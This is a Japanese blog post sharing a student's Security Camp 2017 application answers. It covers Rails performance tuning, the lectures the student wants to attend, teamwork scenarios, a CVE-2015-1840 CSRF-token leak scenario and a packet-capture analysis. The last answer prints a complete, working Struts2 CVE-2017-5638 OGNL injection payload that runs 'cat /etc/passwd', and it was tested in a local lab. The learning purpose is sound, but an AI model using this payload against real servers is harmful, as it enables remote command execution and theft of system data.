はじめに
セキュリティキャンプ全国大会2017に参加できることになりました! 応募用紙をさらしている人がけっこういるので自分も晒します。
就活と両立で書かなければならなかったため、少しずつ書いていました。(残り3日で6割は書きましたが笑)
作ったものはちょっと恥ずかしいので載せませんが、ご了承ください!
共通問題
共-1(1)あなたが今まで作ってきたものにはどのようなものがありますか? いくつでもいいので、ありったけ自慢してください。
省略します。すいません、、、
共-1 (2) それをどのように作りましたか?ソフトウェアの場合には、どんな言語で作ったのか、どんなライブラリを使ったのかなども教えてください。追加したい機能や改善の案があれば、それも教えてください。
こちらも省略させてください、、、
共-2(1)あなたが経験した中で印象に残っている技術的な壁はなんでしょうか?(例えば、C言語プログラムを複数ファイルに分割する方法など)
インターンでRuby on RailsのWebアプリケーション開発をしている際、パフォーマンスチューニングの仕事を依頼されました。対象のWebアプリケーションは一般のユーザーに使ってもらうものではなく、社内ツールでした。その社内ツールは、大量のデータを扱いつつも自社でのみ使用するため、あまりきれいに作られていませんでした。その作業効率を上げるためにパフォーマンスチューニングを頼まれました。 チューニングするところは大量のデータのあるモデルの一覧を描画するページでした。(Userモデルというものがあり、User一覧を表示するページを表示する場合にパフォーマンスが遅くなるなど。)当時は開くのに20~30秒かかっていました。
普段はパフォーマンスチューニングをする際には、たいてい無駄なクエリが発生している場合が多いですが、その時は特に無駄なクエリはなく、原因が不明でした。 その原因を突き止めパフォーマンスチューニングをするというのが私の印象に残っている技術的な壁です。
共-2(2)また、その壁を乗り越えるためにとった解決法を具体的に教えてください。 (例えば、知人に勧められた「○○」という書籍を読んだなど)
その壁を乗り越えるべく、Ruby on Railsにおけるパフォーマンスチューニングについて学んでいきました。その際に「実践Rails 強力なWebアプリケーションをすばやく構築するテクニック」のパフォーマンスの章を主に読みました。Railsではどのようなことが原因でパフォーマンスが低下するなどを調べ、ボトルネックを調査していきました。ボトルネックの調査では、便利なgemの導入や、本で培った知識をもとに調査を進めました。 調査を進めていくとクエリが遅いのではなく、ページの描画が遅いということがわかりました。 その時のボトルネックは2つありました。 1つ目は、ActiveRecordによるオブジェクト生成に時間がかかっていたことです。 このボトルネックに関しては、経験があり、すぐに分かったのと、たいしたボトルネックにはなっていませんでした。このボトルネックは、ActiveRecordを使用するのではなく、直接データベースからとってくることで解決しました。 2つ目は、Railsが用意してくれているlinkを自動生成するメソッドにかなりの時間がかかっていたことです。このボトルネックに気づいたのは、たまたまlinkを生成するメソッドは処理が重いという記事を見つけ、試しにその部分を消してみるとかなり速度が上がったために確信しました。 linkを消すわけにもいかないので、自動生成させるのではなく、直接linkを生成してあげることで解決しました。
共-2(3)その壁を今経験しているであろう初心者にアドバイスをするとしたら、あなたはどんなアドバイスをしますか?
ボトルネックはさまざまなものがあると思うので、今回のボトルネックに限らず、パフォーマンスチューニング全般に言えるアドバイスをしたいと思います。
まずRailsにおけるパフォーマンスチューニングのやり方を調べる。
パフォーマンス低下の原因は今回の例だけでなくたくさんあると思います。
それを解決するためにはパフォーマンスチューニングのやり方を知らなければなりません。
Railsでパフォーマンスが低下する原因はどのようなものがあるのか、またそれを解決するにはどうすればいいのかを基礎的な知識を身につけることをすすめます。
見えているもの以外の観点を持つ
パフォーマンスの低下は、実は思いがけないところにあったりするということです。
今回のボトルネックは、クエリが大量に発生しているか、オブジェクトの生成に時間がかかっていると思っていました。しかしその二つにはあまり時間がかかっていませんでした。
書いてあったコードがずっと原因だと考えていましたが、実際はRailsがもつ元々の機能に時間がかかっていました。原因になるものを決めつけずにあらゆる観点を持ったほうがいいと思います。
作る時に気を付ける
気を付けながら実装していれば極端なパフォーマンス低下はあまり発生しないと思います。
書いたコードは同じ処理を繰り返していないか、無駄なクエリが発生していないかを確認するべきです。他には、ページングをして1ページに表示できる件数を設定するなど。
DBへのクエリの詳細を表示するライブラリなどを使用してみてどのようなクエリがその画面で発生しているのかを見てみるとわかりやすいです。
限られた中で最大のパフォーマンスを
今回のボトルネックはlinkの生成を直接指定してあげたので機能面を損なわずにチューニングできました。しかしながらチューニングには機能を少し変える必要があるが、開発者以外の要望で機能は絶対に変えられないということがあると思います。その限られた中でチューニングをして、最大のパフォーマンスを出すことをこころがけることを伝えます。
共-3(1) あなたが今年のセキュリティ・キャンプで受講したいと思っている講義は何ですか?(複数可) そこで、どのようなことを学びたいですか?なぜそれを学びたいのですか?
A1 PowerShellベースのマルウェアとその防御手法
この講義内容の説明で「ファイルレスマルウェア」という言葉を初めて知りました。
そのマルウェアはほかのマルウェアとどう違うのか、防御方法どういうものなのかを知りたいです。
また興味本位なのですが、ShinoBOTを使用してみたいです。
C1 ブラウザの脆弱性とそのインパクト
普段RailsでのWebアプリケーションの開発をしており、その開発しているWebアプリケーションに脆弱性があるかどうかを気にしているのですが、ブラウザ上に脆弱性があるかどうかは気にしていませんでした。ブラウザ上の脆弱性はどのようにして見つけるのか、また脆弱性が見つかった時にブラウザ側で脆弱性を埋める以外に開発しているWebアプリケーション側で対策はどのようにして行うのかを知りたいです。ブラウザに脆弱性があった場合、どのような対処が開発側でできるのかを周りの人に伝えることができる人になっていきたいです。
D1 Linuxカーネルを理解して学ぶ 脆弱性入門
低レイヤーのセキュリティは今まであまり触れてきたことがなく、学びたいと思いました。
普段Webアプリケーション開発など高レイヤーに触れる事が多い中でも、しっかりと低レイヤーの知識ある人になりたいです。
C3 Vulsを用いた脆弱性ハンドリングとハッカソン
普段開発をしていると自分のコードは安全に書けているのか?ということは気にしますが、サーバやフレームワーク自体に脆弱性があるとはあまり考えることがありませんでした。また、セキュリティニュースを毎日見ていても見落とすことがあると思います。そんな時セキュリティツールがslackなどど連携して情報を提供してくれると便利です。そういう便利なセキュリティツールをこの講義を通して作りたいと思います。講義が終わった後でも思いついた役立つセキュリティツールを自分で開発できるようにVulsというセキュリティツールををどのようにして作ってきたのかをしっかりと記憶に残したいです。世の中にたくさんのOSSがある中で、自分が作ったものが世界中の人々に使ってもらうというのは最高に魅力です。
D4 マルウェア x 機械学習
最近「機械学習」によってさまざまな分野が自動化されていると思います。セキュリティへの機械学習の応用は未知のマルウェアの検知など、よく耳にすることがあります。ですが実際にマルウェア検知に機械学習がどのように使われていくのか、また、その検知はどのくらい正確なのかをハンズオンなどを通してで具体的に知りたいと思いました。
D5 The Anatomy of Malware
最近、マルウェア解析に興味が出始め、自分でアセンブラの勉強などを始めました。マルウェアに触れる機会がほとんどないのでこの機会にたくさん触れたいです。自分はログやコードを読むのが好きなので、マルウェアの中身をとても覗いてみたいです。まだ知識は少ないですが、セキュリティキャンプに参加した後も独学で勉強ができるように、この講義でさらに自分の知識を向上させていきたいと思います。
E6~7 インシデントレスポンスで攻撃者を追いかけろ
私は以前イベントで模擬的なインシデントレスポンスを経験したことがあるのですが、サイバー攻撃を分析する知識を把握できていません。
実際のサイバー攻撃を分析するにはどのような知識が必要かを把握し、自らが将来インシデントレスポンスをできるようになっていきたいです。
共-3(2)あなたがセキュリティ・キャンプでやりたいことは何ですか? 身につけたいものは何ですか?(複数可) 自由に答えてください。
技術的な面において2つあります。
1つ目は、現在インターンなどでWebアプリケーションの開発をしているのですが、セキュリティに関して確実なことを周りに教えることができていません。毎日セキュリティのニュースを見てslackに流すことしかできていないのが現状です。セキュリティキャンプを通して今ある知識をより確実にし、他人に教えるなどしっかりとアウトプットできる人になりたいです。
2つ目は、Webアプリケーションなどの高レイヤーの技術などは独学以外にも実践的な学び(開発インターンなど)をできているのですが、低レイヤーに関しては独学がほとんどです。低レイヤーを学ぶのはとても好きなのですが、今回では独学ではできないような講義がたくさんあるのでとても楽しみです。今後低レイヤーをどのように学んでいけばいいのかなど講義を通してロードマップを作りたいと思っています。
次に技術的な面以外においては3つあります。
1つ目は、「セキュリティ」という同じ志を持った人たちと友達になりたいです。
私は経済学部に所属しているのですが、プログラミングをやっている人は少し見かけますが、セキュリティに興味を持っている人はいません。セキュリティの友達を作るべくイベントなどにも参加し、作ることはできましたが、多くの人とつながりたいというのが正直な気持ちです。セキュリティキャンプに参加し、勉強をしている時に質問に答えてくれる仲間、自分のモチベーションをあげてくれる仲間をたくさん作りたいです。
2つ目は、参加する人たちとたくさんの情報交換をしたいです。現在なにをやっているのか、なにをやってきたのか、これからどうしていくのかなどを聞き、自分には何が足りなくて、今後何を学んでいかなければならないかをしっかりと把握したいと思います。
3つ目は、セキュリティキャンプに参加する同じ志を持った仲間たちに「負けられない」という気持ちを持って成長することです。たくさんのレベルの高い人たちが来ると思うのですが、「セキュリティ」という業界に進む以上、その人たちにも追いついていかなければなりません。このキャンプを通して、技術的にも成長してその人たちに少しでも近づいていきたいです。
約1年前にセキュリティキャンプを知り、行きたいと思いました。その時はほぼ全てのことが未経験でしたが理系のプログラミング授業に潜り込んだり、イベントやエンジニアインターンに未経験ながら参加してきました。まだまだ実力不足ですが1年前と今では見えてくるものが全然違うように思えます。この全くの未経験からの1年間は学ぶことが多く、とても楽しかったです。 私は文系に所属していますが「セキュリティエンジニア」を目指しています。友達や親にこのことを話すと「文系でもなれるの?」と言われることが多いです。文系は関係なく、どの状況においても努力すれば夢が叶っていくということをまずセキュリティキャンプに参加することで伝えていきたいです。
また、まだ参加が確定していなく傲慢ではありますが、この1年間がセキュリティキャンプに参加したいと思って修行してきたように、セキュリティキャンプも今後さらにすごいセキュリティエンジニアなるための通過点の一つだと思っています。参加できた場合は、それをゴールにするのではなく、今後自分を高める糧にしていきたいです。
選択問題
自分がソフトウェア・ハードウェアを実装した部分について、自分とは意見が異なる実装を提案してきた人が現れた場合、あなたはどうしますか。 - 自分の実装のほうが優れていると思った場合どうしますか? - 自分の実装のほうが優れていないと思った場合どうしますか? - 相手の母国語が自分と違うために正確に議論が進まない場合はどうしますか? - 相手がものすごく強硬で石頭でこちらのいうことを何も聞かず実装を勝手に修正してしまった場合どうしますか?
自分の実装のほうが優れていると思った場合どうしますか?
自分の実装のほうが優れているというのは、個人的に思っているだけだと思うので周りの人にも自分の提案を話します。皆意見を判断し、自分の実装が優れていると判断した時は、相手の提案と自分の提案のメリットとデメリットを比較し、それを相手に納得するように伝えます 相手も納得し自分の提案が採用された場合は、相手の提案のいいところを自分の実装に応用できる場合、自分の提案にも取り入れていきます。
自分の実装のほうが優れていないと思った場合どうしますか?
もし相手の提案を聞いて自分の提案のほうがすぐれていないと判断した時は、相手の提案を採用していきたいと思います。しかし、自分の提案で取り入れることができるところを提案したり、相手の提案をよりよい実装にするために意見を出します
私は、自分の考えを持ち、はっきりと伝えます。「相手が年上だから伝えない」、「自分の立場が~だから伝えない」ということは一切しません。相手の考えていることに間違いがあったり、違う意見のほうが優れていると思ったら伝えないことはないです。自分の意見が優れていると思ったら相手に納得してもらうように伝え、相手の意見が優れていると思った場合は、その意見をもっと良くなるようにいろいろと提案します。私はより良い方向へと進んでいきます。
相手の母国語が自分と違うために正確に議論が進まない場合はどうしますか?
相手の母国語が自分と違うために正確に議論が進まない場合は、いくつか方法があると思います。実際に実装してみてコードを見る
自分が提案した実装を一度コードに書き起こしてみてみます。 同じプログラミング言語を理解しているのならそのコードを見て相手がどのような実装を提案していたのかがわかるのではないでしょうか。英語の使用、図を描いてみる
コードに書き起こしたとしても、どちらの提案が優れているか、どちらを採用するかを議論しなければなりません。そのためお互いの母国語に頼らず、英語など広く使われている言語で議論を進めていきます。また、英語などが完璧でない場合は、図を描く、ジェスチャーで伝えるなどお互いが共通で理解できるところを探していきます。 また、一人で相手を理解するのは難しいと思うので他の人にもお互いが何を伝えたがっているのかを感じ取ってもらうなどの協力を頼みます。 - 相手がものすごく強硬で石頭でこちらのいうことを何も聞かず実装を勝手に修正してしまった場合どうしますか? この場合私は勝手に修正した相手に2つのことを伝えます。 開発は仲間とやっているということ 提案がとても良いならば周りにいる人の多くは賛成してくれると思います。しかしなにも言わずに修正してしまえば、信頼をなくしてしまい、その実装を採用されたとしても仲間を失ってしまいます。 一人の勝手な修正によってバグが発生した時、実装を聞いていない仲間は対応しにくいです。一人の行動によって開発の効率を下げ、開発の仲間に迷惑をかけることになります。 このように一人の勝手な行動は仲間に迷惑がかかるということです。成長が止まってしまうこと
開発での技術的成長はお互いにレビューしあうことでできると思っています。 自分だけの考えを押し通してばかりでは成長しません。自分が気づけないことを他人が指摘してくれるからこそ成長できます。自分の提案がほかの人の誰よりも良いと思っても、その提案をさらに良いものに変えるチャンスを失っていると思います。
上記のことを伝えた後、自分の行動を考えてもらいます。
Same Origin Policyに関する脆弱性から自分がもっとも気になっているものを選び、その脆弱性がどのようなものかを説明してください。 次に、あなたがもし悪意を持つ側だとしたら、その脆弱性をどのように悪用(活用)するかを想像して書いてください。
私がSame Origin Policyに関する脆弱性の中で最も気になったのは、「CVE-2015-1840」です。なぜこの脆弱性が気になったのかというと、Ruby on Railsをよく使用しているのですが、この脆弱性もRuby on Railsに関するものだったからです。
脆弱性の説明
この脆弱性はRuby on Rails で使用されるjquery-railsのjquery_ujs.jsとjquery-ujsのrails.jsに存在します。
脆弱性対策情報データベースによると、
「第三者により、属性値内の URL の先頭の空白文字を介して、同一生成元ポリシーを回避される、および異なるドメインの Web サーバに対する CSRF トークンの送信を誘発される可能性があります。」と書かれています。
ここからわかりやすく説明していきたいと思います。まず「属性値内のURLの先頭の空白文字を介して、同一生成元ポリシーを回避される」という部分です。これはURLを指定している先頭部分に空白文字が入っていた場合に回避されてしまうということです。
<%= link_to " http://www.hoge.com", method: :post%>
こちらは先頭に空白が入っているためこのリンクを踏むとPOSTで送信されてしまいます。
<%= link_to "http://www.hoge.com", method: :post%>
こちらは先頭に空白が入っていないため送信されません。
次に「異なるドメインのWebサーバに対するCSRFトークンの送信」 まず、ここに書かれてあるCSRFトークンとはなにか。 CSRFを防ぐために本物のユーザーかどうかを判断するために使用する毎回異なる値のことです。 ユーザーが画面に必要情報を入力し、送信をするとトークンも一緒に Webアプリケーションに送信されます。 この送信されたトークンとセッションに保存しておいたトークンが一致すれば、正しいユーザーからのリクエストだと判断します。 よってこのCSRFトークンを第三者が入手すればなりすましが可能だということです。 そのCSRFトークンを今回の脆弱性によって異なるドメインのWebサーバに送信できます。
まとめ
<%= link_to " http://www.hoge.com", method: :post%>
↑のようなURLの先頭部分に空白を入れると同一成元ポリシーを回避し、異なるドメインのWebサーバー対してCSRFトークンを送信できるということです。
悪意を持つ側だったら
もし私が悪意を持つ側だった場合、まずRuby on Railsで開発しているかつ広告を載せているサービスを調べます。
見つかった場合広告を載せてほしいと装い、こちらから広告用のコードを渡します。
例 <script type="text/javascript" src="http://hoge.jp/fuga/12345.js"></script>
javascript側でCSRFトークンを送りたいWebサーバーを" http://www.hoge.com“のように記述し同一成元ポリシーを回避します。 そしてユーザーが広告をクリックした時自分のWebサーバにCSRFトークンを送れるように処理させます。
添付ファイルに記録された通信を検知しました。この通信が意図するものは何か、攻撃であると判断する場合は何の脆弱性を狙っているか。また、通信フローに欠けている箇所があるがどのような内容が想定されるか、考えられるだけ全て回答してください。なお、通信内容を検証した結果があれば評価に加えます
添付されたファイルをwiresharkというツール使って解析をしました。Wiresharkを用いてファイルを開いたところ、No14までのキャプチャされた通信が記録されていました。
通信の意図、脆弱性について
通信を一通り目を通すと、No4の通信では、一つだけHTTPを使用していました。Infoには「GET /struts2-rest-showcase/orders.xhtml HTTP/1.1」と記録されており、その中の「struts2」に着目しました。少し前に「struts2」の脆弱性が報道されたのを思い出し、脆弱性を突いたのはこの通信かもしれないと思い、詳しく見ることにしました。HTTP通信のリクエストの中のContent-Typeの中になにか怪しい文字列が書かれていました。
このContent-Typeに書かれていた文字列はOGNLというJAVAのオブジェクトを操作できる簡易言語であることがわかりました。これを手がかりに「struts2」の脆弱性につい調べてみるとContent-Typeに不正なコード(OGNL式)を入れると実行されてしまう「CVE-2017-5638」という脆弱性が存在することが分かりました。文字列の一部に(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))
という部分にいくつかのコマンドが書かれています。これを実行されてしまったと思いました。
真偽を確かめるべく、実際に検証してみることにしました。 今回の脆弱性のあるバージョンである2.3.20で環境構築しました。
GET /struts2-rest-showcase/orders.xhtml HTTP/1.1 Host: localhost:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Encoding: gzip, deflate, sdch, br Accept-Language: ja,en-US;q=0.8,en;q=0.6 Connection: close Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Content-TypeにOGNL式をいれてこのようなリクエストを送信すると
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Date: Fri, 26 May 2017 14:43:19 GMT Connection: close Content-Length: 5925 ## # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. # # See the opendirectoryd(8) man page for additional information about # Open Directory. ## 以下省略
上記のようなレスポンスが返ってきました
この内容はcat /etc/passwdを実行した時と同じものでした。つまりContent-TypeのOGNL式の(#cmd='cat /etc/passwd')
が実行されていたということです。
気になった点が2つあります。1つ目は、Content-Typeの中のSystem@getProperty('os.name')
と(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))
です。
推測ですが、OSの名前を取得して、どのOSでも実行できるようにしたのではないでしょうか。次にhttpリクエストの後に22番ポートへ通信を試みていることです。つまり「cat etc/passwd」を実行した後に、その情報を用いてsshを試みたのではないでしょうか。
まとめ
この通信は「CVE-2017-5638」を突き、「cat /etc/passwd」を実行した後、その情報を用いて通信先にsshを試みるものであったと思われます。
通信フローにかけている箇所 No4で送信したリクエストのあとNo5でリクエストを受け取った通信は見られるが、ステータスコード200を返す通信が見られない
No9で192.168.74.1から192.168.74.130に対して[FIN, ACK]という通信修了の合図を送信した後に、192.168.74.130から[ACK]の応答が見られない事 これは、No9のinfoである[TCP Previous segment not captured]から判断しました。
おわりに
セキュリティキャンプを知ったのは去年の6月ぐらいだった気がします。 ほぼ未経験でしたが、がんばってきてよかったです!
参加者の中ではたぶん経済学部は1人だけだと思うから埋もれないようにしたいな笑
では!